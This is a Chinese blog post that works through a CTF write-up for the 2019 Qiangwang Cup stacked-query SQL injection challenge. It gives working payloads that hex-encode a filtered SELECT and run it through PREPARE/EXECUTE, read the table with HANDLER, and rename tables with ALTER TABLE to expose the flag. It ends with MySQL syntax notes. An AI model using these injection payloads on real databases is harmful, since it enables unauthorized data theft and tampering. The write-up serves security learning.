2019强网杯随便注

2019强网杯随便注

过滤语句

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

1' 1=1# 显示所字段

1';show tables;#显示所有表

法一:

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare xxxx from @a;execute xxxx;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

法二:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

参考文章:https://blog.csdn.net/qq_43427482/article/details/109898934

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
>HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

法三:

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 
然后通过1' or 1 = 1 #,成功获取到flag
  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
posted @ 2023-03-20 15:39  張冰冰  阅读(37)  评论(0编辑  收藏  举报